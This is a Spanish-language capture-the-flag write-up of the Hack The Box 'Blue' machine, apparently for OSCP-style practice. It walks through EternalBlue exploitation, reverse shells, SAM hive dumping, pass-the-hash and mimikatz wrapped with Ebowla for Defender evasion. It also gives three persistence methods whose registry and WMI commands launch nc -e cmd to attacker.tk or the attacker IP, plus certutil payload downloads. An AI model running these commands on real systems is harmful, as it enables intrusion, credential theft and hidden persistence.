Inicio Blue
Entrada
Cancelar

Blue

Blue

Desktop View

Resolution summary

  • Buscar puertos
  • Buscar vulnerabilidad Windows 7
  • Aprovechar vulnerabilidad eternal blue windows 7
  • Modificar script
  • abri impacket-smbserver para compartir una carpeta

Improved skills

  • Windows explotaiton
  • zzz_exploit

Used tools

  • nmap
  • crackmapexec
  • zzz_exploit
  • nc64.exe
  • rlwrap

Information Gathering

Scanned all TCP ports:

1
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.9.50 -oG allPorts

Extract all ports

1
extractPorts allPorts

Enumerated top 200 UDP ports:

1
nmap -sCV -p135,139,445,49152,49153,49154,49155,49156,49157 10.129.9.50 -oN targeted

Enumeration

Port 445 - microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds

De primeras vemos que el [[Puerto 445]] esta abierto, es un puerto [[SMB]]. Con [[crackmapexec]] vamos analizar estge servicio para identificar nombre de equipo, dominio, ver que arquitectura…

1
crackmapexec smb 10.129.9.50

Desktop View

Si observamos que es un Windows 7 Professional, si no se ha fortificado el smb lo mas seguro es que sea vulnerable al [[Eternal Blue]]

Antes de empezar podemos probar con scripts de nmap. Primero buscaremos entre las categorias de los scripts que tiene nmap de esta manera:

1
locate .nse | xargs grep "categories" | grep -oP '".*?"' | sort -u  

Desktop View La categoría vuln y safe puede venir bien para detectar vulnerabilidades sin hacer ruido o provocar una denegación de servicio.

1
nmap --script "vuln and safe" 10.129.9.50 -oN smbVulnScan

Desktop View


Exploitation

Name of the technique

Podemos obvervar como es vulnerable. Podreiamos usar Metasploit pero como no es valido en OSCP no lo haremos. Ahora podemos usar un exploit buscando en searchsploit EternalBlue o Windows 7. Tambien podemos usar el Triple z o zzz exploit.

Nos descargamos un repositorio que tiene Eternal Blue que es:

1
git clone https://github.com/worawit/MS17-010.git

Nos movemos a la carpeta de los scripts y tratamos de ejecutar checker con python3.

Pero como con python3 no funciona ya que fue programado en pyton2 podemos convertir el script a python3 o ejecutarlo con python2. Esto nos daba un error al importar impackets que podemos solucionar así:

1
2
3
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
python2 get-pip.py
/home/hacker/.local/bin/pip2.7 install impacket

Ya con eso ejecutamos el checker.py:

1
 python2 checker.py 10.129.9.50

Desktop View Cuando estamos en un entorno empresarial, si detectamos que el checker nos pone OK ya tendríamos una vía potencial de llegar. En este caso nos dice que la victima no esta parcheado.

En este caso no ha funcionado, pero si abrimos el checker y modificamos la linea de USERNAME poniendo guest tal vez podamos obtener mejor resultado.

Desktop View El resultado es este:

Desktop View Sabiendo que el pipe name samr puede ser vulnerable ejecutamos zzz_exploit.py con ese pipe name (samr) En zzz_exploit.py Pero antes tenemos que modificar el USERNAME por guest y tambien lo siguiente de la imagen:

Desktop View

De esta manera podemos hacer un Reverse shell

El ejecutable de netcat para windows se encuentra en /Descargas/Necat Windows/nc64.exe Nos lo copiamos al directorio al que estamos trabajando.

Desde el directorio donde tenemos el nc64.exe (en este caso /Documentos/HackTheBox/Blue) vamos a iniciar impacker-smbserver para crear un recurso compartido a nivel de red con un nombre, el cual va a estar sincronizado a nuestro directorio actual.

1
2
3
4
5
6
sudo impacket-smbserver smbFolder $(pwd) -smb2support
#impacker-smbserver  Iniciamos el recurso compartido
#smbFolder Nombre de la carpeta a compartir
#$(pwd) Desde nuestra carpeta actual
#smb2support damos soporte a la version 2 de smb

Ahora nos ponemos en escucha con netcat en el puerto 7896 que es el que hemos indicado en el fichero de zzz_exploit.py.

1
sudo rlwrap nc -nlvp 7896

Entonces ejecutamos por el siguiente orden:

1
sudo impacket-smbserver smbFolder $(pwd) -smb2support
1
sudo rlwrap nc -nlvp 7896
1
python2 zzz_exploit.py 10.129.9.50 samr

Y si vamos a la pestaña donde tenemos netcat ahi tenemos acceso ya a la shell y somos administradores.


Lateral Movement to user

Nos movemos hasta Users y harris para ver la flag


Privilege Escalation

Ya somos administradores una vez tengamos la shell por lo que no hay escalada de privilegios


Trophy & Loot

user.txt c1dc7b412f15f182526df312ed15cd1f

root.txt 23970aa0bbcd1716c686bc8d454a1e1a


Extra

Como hemos accedido root muy facilmente vamos a mostrar una serie de pasos que podemos hacer ahora para conseguir contraseñas y acceso remoto

Obtaining credentials stored in memory MIMIKATZ + Windows Defender Evasion Enabling RDP from CrackMapExec Windows Persistence techniques
Windows Persistence - Playing with debugger When a user opens a program Windows Persistence - Playing with Gflags When a user closes a program Windows Persistence - Playing with WMI Events Executing tasks at regular intervals of time Persistence + Windows Defender Evasion Playing with Ebowla

Windows Persistence techniques

Nos movemos a /Windows/Temp y creamos la carpeta PostExploitation

Ahí vamos a crear una copia de system y sam con:

1
2
reg save HKLM\system system.backup
reg save HKLM\sam sam.backup

Ahora tenemos 2 archivos: sam.backup y system.backup

Ahora nos lo vamos a trasferir a nuestro equipo y lo haremos de nuevo con impaccket-smbserver Si no le tenemos inicializado lo volvenos a reiniciar:

1
sudo impacket-smbserver smbFolder $(pwd) -smb2support

Y en la maquina windows escribimos:

1
2
copy sam.backup \\10.10.14.49\smbFolder\sam
copy system.backup \\10.10.14.49\smbFolder\system

Ahora ya los tenemos en nuestro equipo. Con impacket-secretsdump podemos sacar informacion de ellos.

1
impacket-secretsdump -sam sam -system system LOCAL

Con esto vamos a obtener los HASHES de los usuarios del equipo victima.

Desktop View Como estamos en windows y tenemos el hash no necesitamos saber la contraseña. POr ejemplo con crackmapexec podemos averiguar cosas:

1
crackmapexec smb 10.129.9.50 -u 'Administrator' -H 'cdf51b162460b7d5bc898f493751a0cc'

Desktop View

Si añadimos –lsa podemos dumpear contraseñas en texto claro si las hay:

1
crackmapexec smb 10.129.9.50 -u 'Administrator' -H 'cdf51b162460b7d5bc898f493751a0cc' --lsa

Con esto podriamos volver a conectarnos remotamente al ordenador con impacket-psexec:

1
impacket-psexec WORKGROUP/Administrator@10.129.9.50 -hashes :cdf51b162460b7d5bc898f493751a0cc

Con esto hacemos pass the hash

Persistence_Windows_Defender_Evasion_Playing_with_Ebowla

Localizamos donde esta mimikatz.exe en nuestro equipo y nos lo copiamos al directorio actual de trabajo.

1
cp /usr/share/mimikatz/x64/mimikatz.exe . 

Como la maquina es Windows 7 y tiene el Defender activado vamos a usar #Persistence_Windows_Defender_Evasion_Playing_with_Ebowla

Nos clonamos Ebowla con git:

1
git clone https://github.com/Genetic-Malware/Ebowla.git

Vamos a la carpeta que se nos ha creado y modificamos el genetic.conf que tenemos para añadir los campos que son necesarios.

Desktop View Lo importante esta en las variables de entorno tenemos que poner las correctas que podemos sacar asi desde el equipo windows victima:

1
2
3
4
5
echo %username%
echo %computername%
echo %Number_of_processors%
echo %processor_identifier%
echo %path%

Desktop View Entonces ya podemos ejecutar el comando de Ebowla:

1
python2 ebowla.py mimikatz.exe genetic.config 

Si surge algún error se puede solucionar con:

1
2
3
pip install configobj
pip install pycrypto
pip install pyparsing 

Nos movemos a output/ y ahi vemos nuestro ejecutable creado. Volvemos a la carpetra anterior para ejecutar el build que corresponda a nuestro lenguaje y con este comando tendremos ya el ejecutable:

1
./build_x64_go.sh output/go_symmetric_mimikatz.exe.go final_mimi.exe

Y ya tenemos en la carpeta output el ejecutable. Ahora tenemos que pasar ese archivo ejecutable a la maquina victima, tenemos varias opciones. L amas sencilla es hacer un server con python.

1
 python3 -m http.server 4567

Y desde la maquina victima windows ponemos el siguiente comando:

1
certutil.exe -f -urlcache -split http://10.10.14.49:4567/final_mimi.exe

Una vez hecho esto al hacer dir podemos ver como ya esta nuestro ejecutable en el ordenador de la victima.

Con esto damos lugar al siguiente paso

Obtaining credentials stored in memory MIMIKATZ + Windows Defender Evasion

Ahora con mimikatz vamos a conseguir las credenciales en texto plano. Empezamos ejecutando mimikatz con el nombre del ejecutable que hemos pasado. Despues escribimos:

1
privilege::debug

Nos muestra los privilegios Seguidamente ponemos para obtener la contraseña en texto claro:+

1
sekurlsa::LogonPasswords

Desktop View De hecho con crackmapexec podemos comprobar que el sistema esta vulenrado con esa contraseña:

1
crackmapexec smb 10.129.58.241 -u 'Administrator' -p 'ejfnIWWDojfWEKM'

Desktop View

La maquina no tiene abierto el [[Puerto 3389]] que es el correspondiente al RDP, para tener un entorno grafico operativo. Desde el terminal podemos abrir este puerto para poder conectarnos remotamente al GUI. Comprobamos con netstat si el peurto esta abierto:

1
netstat -nat

Con crackmapexec tiene un modulo para habilitar el [[RDP - Remote Desktop Protocol]]

1
crackmapexec smb 10.129.58.241 -u 'Administrator' -p 'ejfnIWWDojfWEKM' -M rdp -o action=enable

Obtenemos esto:

Desktop View

Y podemos comprobar si el puerto esta abierto con netstat desde la victima o con nmap desde el atacante.

Desktop View

Ahora nos conectaremos de manera remota con este comando:

1
rdesktop 10.129.58.241 -u 'Administrator' -p 'ejfnIWWDojfWEKM'

Y ya tenemos nuestro entorno grafico:

Desktop View

Persistencia en Windows

3 Tareas para garantizar la persistencia:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[+] First Way
    
copy calc.exe _calc.exe
    
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & c:\windows\nc.exe -e c:\windows\system32\cmd.exe attacker.tk 8888" /f`
    

[+] Second Way
    
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
    
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
    
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "nc -e \windows\system32\cmd.exe attacker.tk 8888"
    

[+] Third Way
    
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
    
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\users\admin\meter.exe",CommandLineTemplate="C:\users\admin\meter.exe"
    
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""

Primera forma (Se ejecuta al abrir)

Lo primero es trasferir netcat a la victima. APra ello levantamos servidor python3 y lo descargamos desde la victima:

1
python3 -m http.server 4567

Y en la victima…

1
certutil.exe -f -urlcache -split http://10.10.14.49:4567/nc64.exe

Una vez lo tengamos ponemos el siguiente comando en la victima, si tenemos que modificar algo es a partir de &:

1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & C:\Windows\Temp\nc64.exe -e cmd 10.10.14.49 4567" /f

Y en nuestra maquina nos ponemos en escucha en el puerto que pusimos:

1
rlwrap nc -nlvp 4567

En este caso desde el RDP - Remote Desktop Protocol nos iriamos a la calculadora, y en cuanto la abrimos obtenemos acceso por la escucha.

Segunda forma (Se ejecuta al cerrar)

1
2
3
4
5
6
7
8
9
#Recordemos...
[+] Second Way
    
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
    
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
    
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "nc -e C:\Windows\Temp\nc64.exe C:\Windows\System32\cmd.exe 10.10.14.49 4567"

Copiamos de una en una y pegamos, en caso de tener que modificar algo es en la ultima y a partir de /d

Y nos ponemos en escucha en el puerto que hemos determinado antes.

Tercera forma (La mas silenciosa)

Recordemos…

1
2
3
4
5
6
7
8
9
[+] Third Way
    
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\users\admin\meter.exe",CommandLineTemplate="C:\users\admin\meter.exe"

wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""

Primero nos vamos a crear con[[ msfvenom]] un binario:

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.49 LPORT=4567 -f exe -o persistence.exe

Tenemos ya el ejecutable y volvermos a subirlo a la maquina victima. Si el Defender lo detectase habria que usar Ebowla otra vez. Recordamos, abrir un server con python:

1
python3 -m http.server 4567

Y desde la victima:

1
certutil.exe -f -urlcache -split http://10.10.14.49:4567/persistence.exe

Cerramos el server y nos ponemos en escucha en el puerto que indicamos a msfvenom:

1
rlwrap nc -nlvp 4567

Y ejecutamos persistence.exe y ya tenemos acceso! La idea es que ahora cada minuto se ejecute, para ello vamos a usar los wmic antes puestos… Tras poner los 3 comandos en el puerto de escucha obtendremos una shell cada cierto tiempo.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.